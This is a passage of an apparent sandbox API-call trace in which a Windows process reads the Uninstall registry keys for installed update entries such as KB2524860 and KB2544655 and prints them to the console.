0x204bb0 [0151.091] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.091] _errno () returned 0x204bb0 [0151.091] GetFileType (hFile=0x50) returned 0x1 [0151.091] lstrlenW (lpString="\n") returned 1 [0151.091] GetConsoleOutputCP () returned 0x1b5 [0151.092] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.092] GetConsoleOutputCP () returned 0x1b5 [0151.092] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.092] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.092] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.092] GetProcessHeap () returned 0x3c0000 [0151.092] GetProcessHeap () returned 0x3c0000 [0151.092] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0151.092] GetProcessHeap () returned 0x3c0000 [0151.092] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x18 [0151.092] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290 | out: hHeap=0x3c0000) returned 1 [0151.092] __iob_func () returned 0x7fefd702a80 [0151.092] _fileno (_File=0x7fefd702ab0) returned 1 [0151.092] _errno () returned 0x204bb0 [0151.092] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.092] _errno () returned 0x204bb0 [0151.092] GetFileType (hFile=0x50) returned 0x1 [0151.092] lstrlenW (lpString="\n") returned 1 [0151.092] GetConsoleOutputCP () returned 0x1b5 [0151.093] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.093] GetConsoleOutputCP () returned 0x1b5 [0151.093] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.093] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.093] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.093] GetProcessHeap () returned 0x3c0000 [0151.093] GetProcessHeap () returned 0x3c0000 [0151.093] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.093] GetProcessHeap () returned 0x3c0000 [0151.093] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0151.093] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.093] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0151.093] GetProcessHeap () returned 0x3c0000 [0151.093] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0151.094] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173") returned 131 [0151.094] GetProcessHeap () returned 0x3c0000 [0151.094] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x10a) returned 0x3e1c70 [0151.094] GetProcessHeap () returned 0x3c0000 [0151.094] GetProcessHeap () returned 0x3c0000 [0151.094] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.094] GetProcessHeap () returned 0x3c0000 [0151.094] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0151.094] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.094] GetProcessHeap () returned 0x3c0000 [0151.094] GetProcessHeap () returned 0x3c0000 [0151.094] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0151.094] GetProcessHeap () returned 0x3c0000 [0151.094] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0x10a [0151.094] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0151.094] RegCloseKey (hKey=0x5c) returned 0x0 [0151.094] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x28, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0151.094] __iob_func () returned 0x7fefd702a80 [0151.094] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.095] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860\n") returned 132 [0151.095] _fileno (_File=0x7fefd702ab0) returned 1 [0151.095] _errno () returned 0x204bb0 [0151.095] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.095] _errno () returned 0x204bb0 [0151.095] GetFileType (hFile=0x50) returned 0x1 [0151.095] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860\n") returned 132 [0151.095] GetConsoleOutputCP () returned 0x1b5 [0151.095] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860\n", cchWideChar=132, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 132 [0151.095] GetConsoleOutputCP () returned 0x1b5 [0151.095] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860\n", cchWideChar=132, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860\n", lpUsedDefaultChar=0x0) returned 132 [0151.095] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 132 [0151.095] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.095] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0151.095] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x1, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0151.095] GetProcessHeap () returned 0x3c0000 [0151.095] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0151.095] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x3dee90, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.095] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x16) returned 0x0 [0151.095] GetProcessHeap () returned 0x3c0000 [0151.095] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x18) returned 0x3df290 [0151.095] GetProcessHeap () returned 0x3c0000 [0151.095] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0151.095] GetProcessHeap () returned 0x3c0000 [0151.095] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x18 [0151.095] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3df290, pcbData=0x29f780*=0x16 | out: pdwType=0x29f700*=0x1, pvData="KB2524860", pcbData=0x29f780*=0x14) returned 0x0 [0151.096] __iob_func () returned 0x7fefd702a80 [0151.096] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.096] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.096] _fileno (_File=0x7fefd702ab0) returned 1 [0151.096] _errno () returned 0x204bb0 [0151.096] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.096] _errno () returned 0x204bb0 [0151.096] GetFileType (hFile=0x50) returned 0x1 [0151.096] lstrlenW (lpString=" ") returned 4 [0151.096] GetConsoleOutputCP () returned 0x1b5 [0151.096] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.096] GetConsoleOutputCP () returned 0x1b5 [0151.096] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.096] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.096] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.096] lstrlenW (lpString="") returned 0 [0151.096] _memicmp (_Buf1=0x3df2b0, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.096] LoadStringW (in: hInstance=0x0, uID=0x1f5, lpBuffer=0x3e1a60, cchBufferMax=256 | out: lpBuffer="(Default)") returned 0x9 [0151.096] lstrlenW (lpString="(Default)") returned 9 [0151.096] __iob_func () returned 0x7fefd702a80 [0151.096] _fileno (_File=0x7fefd702ab0) returned 1 [0151.096] _errno () returned 0x204bb0 [0151.096] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.096] _errno () returned 0x204bb0 [0151.096] GetFileType (hFile=0x50) returned 0x1 [0151.096] lstrlenW (lpString="(Default)") returned 9 [0151.097] GetConsoleOutputCP () returned 0x1b5 [0151.097] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(Default)", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.097] GetConsoleOutputCP () returned 0x1b5 [0151.097] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(Default)", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(Default)", lpUsedDefaultChar=0x0) returned 9 [0151.097] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.097] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.097] __iob_func () returned 0x7fefd702a80 [0151.097] _fileno (_File=0x7fefd702ab0) returned 1 [0151.097] _errno () returned 0x204bb0 [0151.097] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.097] _errno () returned 0x204bb0 [0151.097] GetFileType (hFile=0x50) returned 0x1 [0151.097] lstrlenW (lpString=" ") returned 4 [0151.097] GetConsoleOutputCP () returned 0x1b5 [0151.097] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.097] GetConsoleOutputCP () returned 0x1b5 [0151.097] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.097] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.097] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.098] __iob_func () returned 0x7fefd702a80 [0151.098] _fileno (_File=0x7fefd702ab0) returned 1 [0151.098] _errno () returned 0x204bb0 [0151.098] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.098] _errno () returned 0x204bb0 [0151.098] GetFileType (hFile=0x50) returned 0x1 [0151.098] lstrlenW (lpString="REG_SZ") returned 6 [0151.098] GetConsoleOutputCP () returned 0x1b5 [0151.098] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.098] GetConsoleOutputCP () returned 0x1b5 [0151.098] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.098] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.098] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.098] __iob_func () returned 0x7fefd702a80 [0151.098] _fileno (_File=0x7fefd702ab0) returned 1 [0151.098] _errno () returned 0x204bb0 [0151.098] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.098] _errno () returned 0x204bb0 [0151.098] GetFileType (hFile=0x50) returned 0x1 [0151.098] lstrlenW (lpString=" ") returned 4 [0151.098] GetConsoleOutputCP () returned 0x1b5 [0151.099] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.099] GetConsoleOutputCP () returned 0x1b5 [0151.099] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.099] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.099] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.099] __iob_func () returned 0x7fefd702a80 [0151.099] _fileno (_File=0x7fefd702ab0) returned 1 [0151.099] _errno () returned 0x204bb0 [0151.099] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.099] _errno () returned 0x204bb0 [0151.099] GetFileType (hFile=0x50) returned 0x1 [0151.099] lstrlenW (lpString="KB2524860") returned 9 [0151.099] GetConsoleOutputCP () returned 0x1b5 [0151.099] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="KB2524860", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.099] GetConsoleOutputCP () returned 0x1b5 [0151.099] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="KB2524860", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KB2524860", lpUsedDefaultChar=0x0) returned 9 [0151.099] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.099] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.100] __iob_func () returned 0x7fefd702a80 [0151.100] _fileno (_File=0x7fefd702ab0) returned 1 [0151.100] _errno () returned 0x204bb0 [0151.100] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.100] _errno () returned 0x204bb0 [0151.100] GetFileType (hFile=0x50) returned 0x1 [0151.100] lstrlenW (lpString="\n") returned 1 [0151.100] GetConsoleOutputCP () returned 0x1b5 [0151.100] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.100] GetConsoleOutputCP () returned 0x1b5 [0151.100] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.100] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.100] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.100] GetProcessHeap () returned 0x3c0000 [0151.100] GetProcessHeap () returned 0x3c0000 [0151.100] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0151.100] GetProcessHeap () returned 0x3c0000 [0151.100] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x18 [0151.100] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290 | out: hHeap=0x3c0000) returned 1 [0151.100] __iob_func () returned 0x7fefd702a80 [0151.100] _fileno (_File=0x7fefd702ab0) returned 1 [0151.100] _errno () returned 0x204bb0 [0151.100] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.100] _errno () returned 0x204bb0 [0151.100] GetFileType (hFile=0x50) returned 0x1 [0151.100] lstrlenW (lpString="\n") returned 1 [0151.100] GetConsoleOutputCP () returned 0x1b5 [0151.101] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.101] GetConsoleOutputCP () returned 0x1b5 [0151.101] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.101] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.101] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.101] GetProcessHeap () returned 0x3c0000 [0151.101] GetProcessHeap () returned 0x3c0000 [0151.101] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.101] GetProcessHeap () returned 0x3c0000 [0151.101] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0151.101] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.101] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0151.101] GetProcessHeap () returned 0x3c0000 [0151.101] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0151.101] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860") returned 131 [0151.101] GetProcessHeap () returned 0x3c0000 [0151.101] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x10a) returned 0x3e1c70 [0151.101] GetProcessHeap () returned 0x3c0000 [0151.101] GetProcessHeap () returned 0x3c0000 [0151.101] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.101] GetProcessHeap () returned 0x3c0000 [0151.101] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0151.101] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.101] GetProcessHeap () returned 0x3c0000 [0151.101] GetProcessHeap () returned 0x3c0000 [0151.101] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0151.101] GetProcessHeap () returned 0x3c0000 [0151.101] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0x10a [0151.101] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0151.101] RegCloseKey (hKey=0x5c) returned 0x0 [0151.102] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x29, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0151.102] __iob_func () returned 0x7fefd702a80 [0151.102] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.102] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655\n") returned 132 [0151.102] _fileno (_File=0x7fefd702ab0) returned 1 [0151.102] _errno () returned 0x204bb0 [0151.102] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.102] _errno () returned 0x204bb0 [0151.102] GetFileType (hFile=0x50) returned 0x1 [0151.102] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655\n") returned 132 [0151.102] GetConsoleOutputCP () returned 0x1b5 [0151.102] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655\n", cchWideChar=132, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 132 [0151.102] GetConsoleOutputCP () returned 0x1b5 [0151.102] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655\n", cchWideChar=132, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655\n", lpUsedDefaultChar=0x0) returned 132 [0151.102] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 132 [0151.102] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.102] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0151.102] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x1, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0151.102] GetProcessHeap () returned 0x3c0000 [0151.102] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0151.102] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x3dee90, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="", lpcchValueName=0x29f7e4, lpType=0x29f7e8, 